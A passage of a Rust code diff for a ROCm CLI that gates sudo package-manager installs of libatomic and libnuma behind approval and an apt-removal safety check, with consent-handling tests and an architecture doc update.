libatomic/libnuma (and any future additions) share one control flow. +struct TorchRuntimeDep { + /// Short label used in the setup header and warnings (e.g. `"libatomic"`). + name: &'static str, + /// Runtime soname referenced in status messages (e.g. `"libatomic.so.1"`). + soname: &'static str, + /// `reason:` line explaining why the dependency is required. + reason: &'static str, + /// Detection probe: returns whether the dependency is already loadable. + present: fn() -> bool, + /// Builds the distro-aware install plan from the parsed os-release fields. + build_plan: rocm_core::openmpi::InstallPlanBuilder, +} + +/// Ensure the `libatomic` runtime that PyTorch's ROCm wheel links against is +/// present. The SDK runtime wheel bundles PyTorch, and vLLM uses it too, so this +/// is invoked both after `rocm install sdk` and during `rocm engines install +/// vllm`. On Linux/WSL, when `libatomic.so.1` is missing it installs it through +/// the system package manager (automatically when no interactive prompt is +/// needed or when `approved`, otherwise it prints the distro-aware plan). Never +/// blocks or fails the install (warn-and-continue). It is a no-op when +/// libatomic is already present. +pub(crate) fn ensure_libatomic_for_torch(approved: bool) { + ensure_torch_runtime_dep( + approved, + &TorchRuntimeDep { + name: "libatomic", + soname: "libatomic.so.1", + reason: "PyTorch's ROCm wheel requires the libatomic runtime (libatomic.so.1), which was not found", + present: rocm_core::openmpi::libatomic_present, + build_plan: rocm_core::openmpi::build_libatomic_install_plan, + }, + ); +} + +/// Ensure the real `libnuma` (numactl) runtime that PyTorch's ROCm wheel binds +/// is present. Like [`ensure_libatomic_for_torch`], this is invoked after +/// `rocm install sdk` and during `rocm engines install vllm`. PyTorch's +/// `libc10.so` binds `libnuma.so.1`'s `libnuma_1.2` symbols; the ROCm SDK only +/// bundles numa under a renamed soname with rewritten versions that cannot +/// satisfy it, so the upstream numactl runtime must be installed from the system +/// package manager. On Linux/WSL, when `libnuma.so.1` is missing it installs it +/// automatically when no interactive prompt is needed or when `approved`, +/// otherwise it prints the distro-aware plan. Never blocks or fails the install +/// (warn-and-continue). No-op when libnuma is already present. +pub(crate) fn ensure_libnuma_for_torch(approved: bool) { + ensure_torch_runtime_dep( + approved, + &TorchRuntimeDep { + name: "libnuma", + soname: "libnuma.so.1", + reason: "PyTorch's ROCm wheel requires the system numactl runtime (libnuma.so.1 with libnuma_1.2), which was not found", + present: rocm_core::openmpi::libnuma_present, + build_plan: rocm_core::openmpi::build_libnuma_install_plan, + }, + ); +} + +/// Whether an E2E scenario has asked to skip the torch runtime dependency +/// checks entirely. These checks run a real system package-manager install +/// (`apt-get` or equivalent) whenever a dependency happens to be missing on +/// the host, which is slow, network-dependent, and mutates host state — none +/// of which a PTY scenario testing an unrelated concern (e.g. the download +/// spinner) should depend on. Only active under `e2e-test-hooks`; production +/// builds always run the real check. +#[cfg(feature = "e2e-test-hooks")] +fn torch_runtime_dep_checks_disabled() -> bool { + std::env::var_os("ROCM_CLI_DISABLE_TORCH_RUNTIME_DEP_CHECKS").is_some() +} + +#[cfg(not(feature = "e2e-test-hooks"))] +const fn torch_runtime_dep_checks_disabled() -> bool { + false +} + +/// Shared control flow behind [`ensure_libatomic_for_torch`] and +/// [`ensure_libnuma_for_torch`]: detect the dependency, print the distro-aware +/// plan, and (when approved or auto-installable) run it via +/// [`run_system_package_install_plan`]. Always warn-and-continue; never fails the +/// caller. No-op on Windows or when the dependency is already present. +fn ensure_torch_runtime_dep(approved: bool, dep: &TorchRuntimeDep) { + if cfg!(windows) { + return; + } + if torch_runtime_dep_checks_disabled() { + return; + } + if (dep.present)() { + return; + } + + let plan = rocm_core::openmpi::plan_for_os_release_read(&real_os_release(), dep.build_plan); + + println!("{} setup", dep.name); + println!(" reason: {}", dep.reason); + if let Some(manager) = plan.package_manager.as_deref() { + println!(" package_manager: {manager}"); + } + println!(" detail: {}", plan.reason); + + if !plan.supported { + // The distro is unknown, or its release file is unreadable (the detail + // above names the line), or the dependency ships with the base + // toolchain; nothing actionable to auto-install. + return; + } + + println!(" commands:"); + for command in &plan.commands { + println!(" {command}"); + } + + let can_autoinstall = rocm_core::openmpi::can_autoinstall(); + // `escalate_failure` is deliberately ignored here: a missing libatomic/libnuma + // only warns, whatever approved the attempt. + let SystemPackageInstallAction::RunPlan { approval, .. } = + system_package_install_action(approved, can_autoinstall) + else { + for check in &plan.preflight_checks { + println!(" preflight: {check}"); + } + eprintln!( + "warning: {} is required by PyTorch but was not installed automatically", + dep.name + ); + eprintln!( + "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" + ); + return; + }; + + println!(" approval: {approval}"); + match run_system_package_install_plan(&plan) { + Ok(()) => { + if (dep.present)() { + println!(" status: installed"); + } else { + eprintln!( + "warning: {} install commands completed but {} was still not found; verify the package manager output above", + dep.name, dep.soname + ); + } + } + Err(error) => { + eprintln!("warning: {} install failed: {error}", dep.name); + eprintln!( + "warning: continuing; run the commands above manually so PyTorch can load {}", + dep.soname + ); + } + } +} + +/// Refuse an `apt-get install` step that would remove ROCm/AMDGPU packages. +/// +/// `apt-get install -y` assumes yes for *removals* as well as installs, so a +/// dependency solution that evicts the ROCm stack would otherwise be applied +/// unattended (this runs automatically under `rocm install sdk` whenever root or +/// passwordless sudo is available). Simulating first turns that silent breakage +/// into an actionable error naming every package at risk. +/// +/// Only apt is gated: the dnf/zypper/pacman plans install additive runtime +/// packages and have no equivalent assume-yes removal path. A simulation that +/// cannot be run (apt missing, transient failure) is not treated as a refusal — +/// the real command reports the failure with better context. +fn ensure_apt_install_preserves_rocm(argv: &[String]) -> Result<()> { + let Some(simulate_argv) = rocm_core::openmpi::apt_simulate_argv(argv) else { + return Ok(()); + }; + let (program, args) = simulate_argv + .split_first() + .context("apt simulation has no program to run")?; + let Ok(output) = ProcessCommand::new(program) + .args(args) + .stdin(Stdio::null()) + .output() + else { + return Ok(()); + }; + if !output.status.success() { + return Ok(()); + } + + let removals = + rocm_core::openmpi::parse_apt_simulate_removals(&String::from_utf8_lossy(&output.stdout)); + let protected: Vec<&String> = removals + .iter() + .filter(|package| rocm_core::openmpi::is_protected_rocm_package(package)) + .collect(); + if protected.is_empty() { + return Ok(()); + } + + let rendered = |packages: &[&String]| { + packages + .iter() + .map(|package| package.as_str()) + .collect::>() + .join(", ") + }; + let others: Vec<&String> = removals + .iter() + .filter(|package| !rocm_core::openmpi::is_protected_rocm_package(package)) + .collect(); + let other_detail = if others.is_empty() { + String::new() + } else { + format!("\n other packages it would remove: {}", rendered(&others)) + }; + bail!( + "refusing to run `{}`: it would remove ROCm packages and break this installation\n ROCm packages it would remove: {}{}\n action: install the dependency manually after resolving the conflict (for example with a package version that does not evict ROCm), then rerun", + argv.join(" "), + rendered(&protected), + other_detail + ); +} + +fn run_system_package_install_plan( + plan: &rocm_core::openmpi::SystemPackageInstallPlan, +) -> Result<()> { + let root = rocm_core::openmpi::running_as_root(); + for command in &plan.commands { + // `resolved_argv` prepends `sudo` only when the command needs root and we + // are not already root (where `sudo` may be absent); the argv runs + // directly without a shell. + let argv = command.resolved_argv(root); + // Never let an automatic dependency install evict the ROCm stack. + ensure_apt_install_preserves_rocm(&argv)?; + // Inherit stdin so an interactive `sudo` password prompt (the case the + // `--yes` approval exists for) can be answered. When already root or + // passwordless sudo is configured, sudo does not prompt and the inherited + // stdin is simply unused. + run_argv_with_stdin(&argv, Stdio::inherit()) + .with_context(|| format!("system package install command failed: {command}"))?; + } + Ok(()) +} + +#[cfg(test)] +mod tests { + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + use std::fs; + + use super::*; + use crate::chat::rocm_chat_tool_requested_args; + use crate::providers; + use crate::runtime_install_finalize::tests::consents_for_install_sdk_argv; + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + use crate::tests::ScopedTestEnv; + use crate::therock; + + #[test] + fn an_injected_consent_does_not_approve_privileged_package_installs() { + // The worked regression: Linux, a vLLM-preferred GPU family, OpenMPI + // absent, and neither root nor passwordless sudo. The chat, MCP and + // daemon surfaces spawn `rocm` with null stdin, so there is no terminal + // on which a `sudo` password prompt could ever be answered. Injecting + // `--yes` to clear the runtime-replacement prompt used to grant the + // second, unrelated consent that flag carries, which made + // `ensure_openmpi_for_vllm` run a sudo it cannot complete and then + // escalate the failure — aborting `maybe_auto_install_sdk_preferred_engine` + // before the vLLM engine install that previously warned and continued. + let call = providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), + }; + let injected = consents_for_install_sdk_argv( + &rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"), + ); + assert_eq!( + injected.replace_active_default, + therock::SdkInstallConsent::Preapproved( + therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault + ) + ); + assert!( + !injected.system_packages, + "an injected consent must not approve a privileged package install" + ); + assert_eq!( + system_package_install_action(injected.system_packages, false), + SystemPackageInstallAction::PrintManualCommands, + "on a host without passwordless sudo the spawn must print the commands, not run sudo" + ); + + // And the other half of the property: a `--yes` the user actually typed + // still approves both, and a failure of the install it asked for is + // still an error rather than a warning. + let typed = consents_for_install_sdk_argv(&[ + "install".to_owned(), + "sdk".to_owned(), + "--yes".to_owned(), + ]); + assert_eq!( + typed.replace_active_default, + therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes), + "a --yes the user typed must still be credited to --yes" + ); + assert!(typed.system_packages); + assert_eq!( + system_package_install_action(typed.system_packages, false), + SystemPackageInstallAction::RunPlan { + approval: "granted by --yes", + escalate_failure: true, + }, + ); + + // Root or passwordless sudo installs without any approval, as before — + // the consent split must not have made the automatic path conditional. + assert_eq!( + system_package_install_action(injected.system_packages, true), + SystemPackageInstallAction::RunPlan { + approval: "auto (root or passwordless sudo available)", + escalate_failure: false, + }, + ); + } + + /// The real candidate path/text `real_os_release_ignores_a_simulated_host_root` + /// expects, read independently rather than by calling + /// `hardware_root::read_os_release` a second time. `Absent` and + /// `Unreadable` are not interchangeable: a non-`NotFound` error must + /// always report `Unreadable`, never silently fall through to `Absent`. + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + enum ExpectedOsRelease { + Found(&'static str, String), + Absent, + Unreadable(&'static str), + } + + /// The package-manager plans run against the real machine, so a simulated + /// host root must not change the distro they are built for: under a root + /// whose `/etc/os-release` names a different distro, `real_os_release` + /// still returns the real file. + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + #[test] + fn real_os_release_ignores_a_simulated_host_root() { + let root = std::env::temp_dir().join(format!( + "rocm-os-release-host-root-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map_or(0, |d| d.as_nanos()) + )); + fs::create_dir_all(root.join("etc")).expect("create planted /etc"); + fs::write( + root.join("etc/os-release"), + "ID=planted-distro\nVERSION_ID=\"99.9\"\n", + ) + .expect("write planted os-release"); + + let read = { + let mut env = ScopedTestEnv::new(); + env.set( + rocm_core::hardware_root::TEST_HOST_ROOT_ENV, + &root.to_string_lossy(), + ); + real_os_release() + }; + fs::remove_dir_all(&root).ok(); + + assert!( + !read.text().contains("planted-distro"), + "read the simulated root's os-release: {:?}", + read.text() + ); + // Independent of `hardware_root::read_os_release`: rather than call + // the exact same helper with the same identity resolver `real_os_release` + // wraps one line away (which would pass even if its `.context(...)` + // call or resolver closure broke), read both candidate paths directly + // and apply the same existence-only fallback rule inline. This mirrors + // which variant is correct for each case, rather than accepting + // `Absent` or `Unreadable` interchangeably — see `ExpectedOsRelease`'s + // own doc comment for why that distinction matters. + let expected = match fs::read_to_string("/etc/os-release") { + Ok(text) => ExpectedOsRelease::Found("/etc/os-release", text), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => { + match fs::read_to_string("/usr/lib/os-release") { + Ok(text) => ExpectedOsRelease::Found("/usr/lib/os-release", text), + Err(e2) if e2.kind() == std::io::ErrorKind::NotFound => { + ExpectedOsRelease::Absent + } + Err(_) => ExpectedOsRelease::Unreadable("/usr/lib/os-release"), + } + } + Err(_) => ExpectedOsRelease::Unreadable("/etc/os-release"), + }; + match expected { + ExpectedOsRelease::Found(path, text) => { + assert_eq!((read.path(), read.text()), (path, text.as_str())); + } + ExpectedOsRelease::Absent => assert!( + matches!(&read, rocm_core::hardware_root::OsRelease::Absent), + "expected Absent, got {read:?}" + ), + ExpectedOsRelease::Unreadable(path) => assert!( + matches!( + &read, + rocm_core::hardware_root::OsRelease::Unreadable { path: p, .. } if *p == path + ), + "expected Unreadable at {path}, got {read:?}" + ), + } + } +} diff --git a/crates/rocm-core/src/openmpi.rs b/crates/rocm-core/src/openmpi.rs index 5c7792ef93..6498e536b1 100644 --- a/crates/rocm-core/src/openmpi.rs +++ b/crates/rocm-core/src/openmpi.rs @@ -1433,7 +1433,7 @@ mod tests { } /// `install_hint_for_read`/`plan_for_os_release_read` are the one seam - /// `openmpi::real_os_release()` and `runtime_install_finalize::real_os_release()` + /// `openmpi::real_os_release()` and `system_packages::real_os_release()` /// hand their result to — both now one-line delegations to /// `hardware_root::read_os_release`, so reverting either back to a raw /// `/etc/os-release` read is a type error here, not a silent regression. diff --git a/docs/architecture.md b/docs/architecture.md index 43c175ce93..b17d0c6a4e 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -43,7 +43,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`dash.rs`](../apps/rocm/src/dash.rs) — full domain extraction. - [`dash_seam.rs`](../apps/rocm/src/dash_seam.rs) — full domain extraction. - [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: the command handlers for `rocm diagnose` and `rocm fix` (`diagnose()`, `fix()`) and the report step behind `rocm diagnose --report` (`show_prepared_report`, `perform_delivery`, `established_entry`). `diagnose()` and `fix()` are `pub(crate)` and re-imported in [`main.rs`](../apps/rocm/src/main.rs) for `dispatch()`; the other three functions are private. `diagnose()` gets its `--model` verdict from [`model_fit.rs`](../apps/rocm/src/model_fit.rs), and `fix()` returns a failing exit code through `FixExitCode`, which stays in `main.rs` with the other exit-code plumbing. The report and delivery regression tests live in this module's own `mod tests`; the exit-code tests stay in `main.rs`. -- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, plus the driver-plan/state types. +- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, plus the driver-plan/state types. It reads the host's os-release through `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs) and no longer reaches into [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs). - [`endpoint_keys.rs`](../apps/rocm/src/endpoint_keys.rs) — mechanical relocation, no owned types, reached by qualified path. - [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-213): resolving an engine's binary path (`resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `find_engine_plugin_binary`), the stdio request/response envelope used to talk to an external engine binary or the in-process built-in handler (`engine_request`, `engine_request_with_env_root`, `decode_engine_response`, the `ScopedEnvVar`/`with_scoped_builtin_engine_env` env-scoping helpers and the `BUILTIN_ENGINE_ENV_LOCK` mutex they serialize on, `builtin_engine_request`, `run_builtin_engine_stdio`), and the built-in HTTP-serving path (`builtin_engine_available`, `run_builtin_engine_serve_http`, `builtin_engine_serve_http_args`). Two items that sit physically inside this span in `main.rs` stayed there instead of moving: `missing_packaged_engine_reason` has callers outside the cluster (plus its own test), and `impl From for WatcherMode` is unrelated clap-arg conversion that merely happened to be interleaved between `find_engine_plugin_binary` and `engine_request`. `resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `engine_request`, `engine_request_with_env_root`, `builtin_engine_available`, and `builtin_engine_serve_http_args` are `pub(crate)` and read from other modules (for example [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs), [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) and [`service_launch.rs`](../apps/rocm/src/service_launch.rs)), not from `main.rs`. `run_builtin_engine_stdio` and `run_builtin_engine_serve_http` are `pub(crate)` and reached directly from `main.rs`'s `dispatch()` (the `Command::EngineStdio` and `__engine-serve-http` arms); `find_engine_plugin_binary`, `decode_engine_response`, `with_scoped_builtin_engine_env`, `builtin_engine_request`, and `ScopedEnvVar` have no callers outside this module and stay private. - [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-215): deciding which runtime/env a `serve`/`engines install` invocation resolves to (`EngineSelection`, `resolve_engine_selection`, `validate_engine_selection_runtime`, `single_ready_runtime_key`, `resolve_runtime_selector_to_exact_key`), small argv-building helpers used when relaunching a managed engine (`optional_arg`, `engine_recipe_json_arg`, `parse_engine_recipe_json_arg`, `daemon_run_argv`, `managed_service_launcher_path`), the `ROCM_CLI_*` environment variables every managed child inherits (`app_path_env_vars`/`app_path_env_var_values`/`app_path_env_var_refs`/`apply_app_path_env`), and polling a freshly launched service until it can answer inference requests (`wait_for_service_http_ready`, `wait_for_service_http_ready_with_progress`, `service_http_readiness_paths`, `http_get_local_service`, `http_post_local_service_json`, `service_http_readiness_response_ready`, `lemonade_health_ready_for_model`, `model_list_ready_for_model`, `service_model_gpu_ready`, `service_model_reports_rocm_backend`, `service_model_names_match`). `const fn status_for_readiness` sits physically interleaved in this span in `main.rs` but stayed there instead of moving — it has callers outside this cluster ([`service_launch.rs`](../apps/rocm/src/service_launch.rs) and [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `record_restart_readiness`, which `restart_internal_managed_service_with` calls), so it stays a shared crate-root function, reached only from this module's own tests, via `use crate::status_for_readiness;`. Which items are `pub(crate)` and who calls them is documented in the module's own doc comment rather than repeated here. The cluster's regression tests live in the module's own `mod tests`. What remains in `main.rs` immediately after this cluster is `treat_as_natural_language`, dispatch-adjacent natural-language-invocation routing left over from an earlier phase (ROCMAI-87), explicitly out of scope and untouched by this split. @@ -60,7 +60,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`model_fit.rs`](../apps/rocm/src/model_fit.rs) — mechanical relocation, owns a `pub(crate)` type: answering whether a host can run a model for `rocm diagnose --model` (`assess_model_on_this_host`, `assess_model_with_host_paths`, `assess_model_for_host`), the accelerator-memory fact it rests on (`host_accelerator_memory`, `classify_accelerator_memory`, `examination_reports_amd_gpu`) and the platform gate that rules an engine out (`PlatformRuleOut`, `engine_ruled_out_by_platform`, `unsupported_here_for`). It is a module of its own, rather than part of the `diagnose` handler, so [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs), which reads `PlatformRuleOut` and `engine_ruled_out_by_platform`, does not depend on a command module. It depends on [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`select_serve_engine`) and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs), neither of which depends on it. `assess_model_on_this_host` (called from [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs)), `PlatformRuleOut` and `engine_ruled_out_by_platform` are `pub(crate)`, and [`main.rs`](../apps/rocm/src/main.rs) re-imports the last two so `examine_report_text.rs` reaches them as `crate::`; every other item is private. The cluster's regression tests live in this module's own `mod tests`; the one that re-runs the test binary on a helper test by its full path (`engine_ruled_out_by_platform_gates_aim_on_docker_reachability`) names the helper's new path, `model_fit::tests::docker_unreachable_subprocess_helper`. - [`provider_keys.rs`](../apps/rocm/src/provider_keys.rs) — full domain extraction. - [`providers.rs`](../apps/rocm/src/providers.rs) — full domain extraction (no dedicated command enum; invoked from the existing chat/config command flows). -- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install — torch alignment, engine-dependency checks, and device checks. `SdkInstallConsents` is `pub(crate)` and read from `install_cmd.rs`'s `install()`; `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` are also `pub(crate)` and called from both `install_cmd.rs`'s `install()` and [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs); `ensure_openmpi_for_vllm`/`settle_engine_install` are `pub(crate)` and read from `engines_cmd.rs`; `real_os_release` is `pub(crate)` and read from [`driver_install.rs`](../apps/rocm/src/driver_install.rs). +- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install — torch alignment, engine-dependency checks, and device checks. `SdkInstallConsents` is `pub(crate)` and read from `install_cmd.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `install_cmd.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. - [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. - [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) — full domain extraction; reads the live local servers at activation time, classifies each against the runtime being activated, renders the report, and moves stale ones with `--restart-services`. `fn runtimes()` lives in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) and `RuntimesCommand` in [`main.rs`](../apps/rocm/src/main.rs); this file owns `ServiceRuntimeState`/`RuntimeServiceEntry`/`FailedServiceRestart`/`UnconfirmedServiceRestart`/`ServiceRestartOutcome`/`RuntimeServiceReconciliation`/`ServiceRuntimePin`, reached from `runtimes_cmd.rs` via `crate::runtime_services`. - [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback/uninstall/import/adopt handlers, plus the runtime list rendering; registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` and `ActiveRuntimeMarker` are `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary` and from [`storage.rs`](../apps/rocm/src/storage.rs) respectively; `normalize_path_for_compare`/`recover_setup_runtime_registration` are also `pub(crate)`, read from other modules such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) and [`comfyui.rs`](../apps/rocm/src/comfyui.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. @@ -73,6 +73,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`services_text.rs`](../apps/rocm/src/services_text.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-209): the CLI/TUI logs browser (`render_logs_text`, `render_logs_browser_text`, `render_logs_browser_page_text`, `render_logs_browser_page_text_with_options`, `logs_browser_total_pages`, the `LogBrowserEntry` type, `collect_log_browser_entries`, `filter_log_browser_entries`, `log_browser_source_label`, `write_past_attempts_hint`), the `rocm services`/`rocm services logs` status surfaces (`render_services_text`, `render_services_json`, `render_service_logs_text`, `render_service_logs_text_with_options`, `render_service_action_result`, `read_managed_service_manifest`, `load_managed_service`), the internal `rocmd`-compatible status/sandbox surface (`render_internal_status_text`, `run_internal_sandbox_tool`), and the managed-service stop/restart implementation behind both the sandbox tool and `rocm services stop|restart` (`terminate_recorded_service_pids`, the `MANAGED_STOP_GRACE` constant, `stop_internal_managed_service`, `stop_internal_managed_service_with`, `stop_internal_managed_service_confirmed_with`, `unload_lemonade_service_model`, `apply_restart_runtime_pin`, `load_service_for_restart`, `restart_child_argv`, `restart_internal_managed_service`, `restart_internal_managed_service_with`, `update_restarting_record`, `record_restarted_child`, `record_restart_readiness`), plus `validate_service_id`, `list_log_files`, `read_optional_tail_lines`, and the CLI-lifecycle-log tail formatting helpers (`format_cli_lifecycle_tail_line`, `lifecycle_event_label`, `humanize_log_label`, `lifecycle_field`, `read_tail_lines`). Two items physically interleaved in this span in `main.rs` moved with it rather than staying behind, since neither has a caller outside the cluster: the `LogBrowserEntry` struct and the `MANAGED_STOP_GRACE` constant; both stay private. `dispatch()` calls directly into this module at several points — `render_internal_status_text`, `run_internal_sandbox_tool`, `render_service_logs_text`, `render_logs_browser_text`, and `render_logs_text` — all re-imported via `use crate::services_text::{...};`; [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs)'s `services()` calls `render_services_text`, `render_services_json` and `render_service_logs_text` through its own imports. `render_service_action_result`, `run_internal_sandbox_tool`, and `validate_service_id` are also `pub(crate)` and read from `services_cmd.rs`'s `run_approved_service_action`; `validate_service_id` is also read from [`service_records.rs`](../apps/rocm/src/service_records.rs)'s `remove_managed_service_record`/`service_record_artifacts`, and `load_managed_service` from its `remove_managed_service_record`/`apply_service_prune_plan`. `load_managed_service` and `restart_internal_managed_service` are `pub(crate)`, read from [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) (reconciling live servers against a runtime activation) and from [`managed_service_status.rs`](../apps/rocm/src/managed_service_status.rs)'s own test module; `read_tail_lines`, `render_logs_text`, `render_logs_browser_text`, `render_services_text`, `render_service_logs_text`, and `validate_service_id` are also `pub(crate)`, read from [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool-output summaries; `read_optional_tail_lines` and `render_service_action_result` are also `pub(crate)`, read from [`service_launch.rs`](../apps/rocm/src/service_launch.rs)'s managed-spawn/attach path. Every other item in this list has no caller outside this module and stays private, including `restart_internal_managed_service_with`, `restart_child_argv`, `load_service_for_restart`, `apply_restart_runtime_pin`, and `unload_lemonade_service_model` — see [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs)'s and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs)'s entries above for how those two modules' own doc comments now describe this module, rather than `main.rs`, as that caller. The cluster's regression tests live in this module's own `mod tests`, reaching shared fixtures (`test_paths`, `plant_service_record_on_runtime`, `OLD_RUNTIME_KEY`, `NEW_RUNTIME_KEY`) through `crate::tests::` the same way other mechanically relocated modules do, and `runtime_services::` through its own `use crate::runtime_services;` for the handful of tests that drive this cluster's restart/stop behavior through `runtime_services`'s public entry points rather than calling it directly. Two tests that call this cluster's `load_managed_service` only incidentally — their primary subject is `runtime_services::pin_service_record_to_runtime`/`restore_service_record_pin` and `runtime_services::restart_service_onto_runtime_with`'s outcome classification respectively — stay in `main.rs`'s shared `mod tests` instead. - [`setup_cmd.rs`](../apps/rocm/src/setup_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm setup`'s command handler (`setup()`, which runs `setup status` by default and `setup reset`), the text `rocm setup status` prints (`render_setup_status_text`) and the reset that clears the saved first-time prompt state (`reset_setup_prompt_state`). `SetupCommand` stays in [`main.rs`](../apps/rocm/src/main.rs). `setup()` and `render_setup_status_text` are `pub(crate)` and re-imported in `main.rs`: `dispatch()` calls the first, and [`chat.rs`](../apps/rocm/src/chat.rs)'s read-only handling of `rocm setup` and `rocm setup status` reaches the second as `crate::render_setup_status_text`; `reset_setup_prompt_state` is private. The three regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` and `write_test_pip_runtime` through `crate::test_support::`. - [`storage.rs`](../apps/rocm/src/storage.rs) — full domain extraction. +- [`system_packages.rs`](../apps/rocm/src/system_packages.rs) — full domain extraction, a leaf of the crate (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): the host system-package installs that `rocm install sdk` and `rocm engines install vllm` run through `sudo` apt, dnf or zypper. It owns the distro-aware OpenMPI, libatomic and libnuma flows (`ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch`, 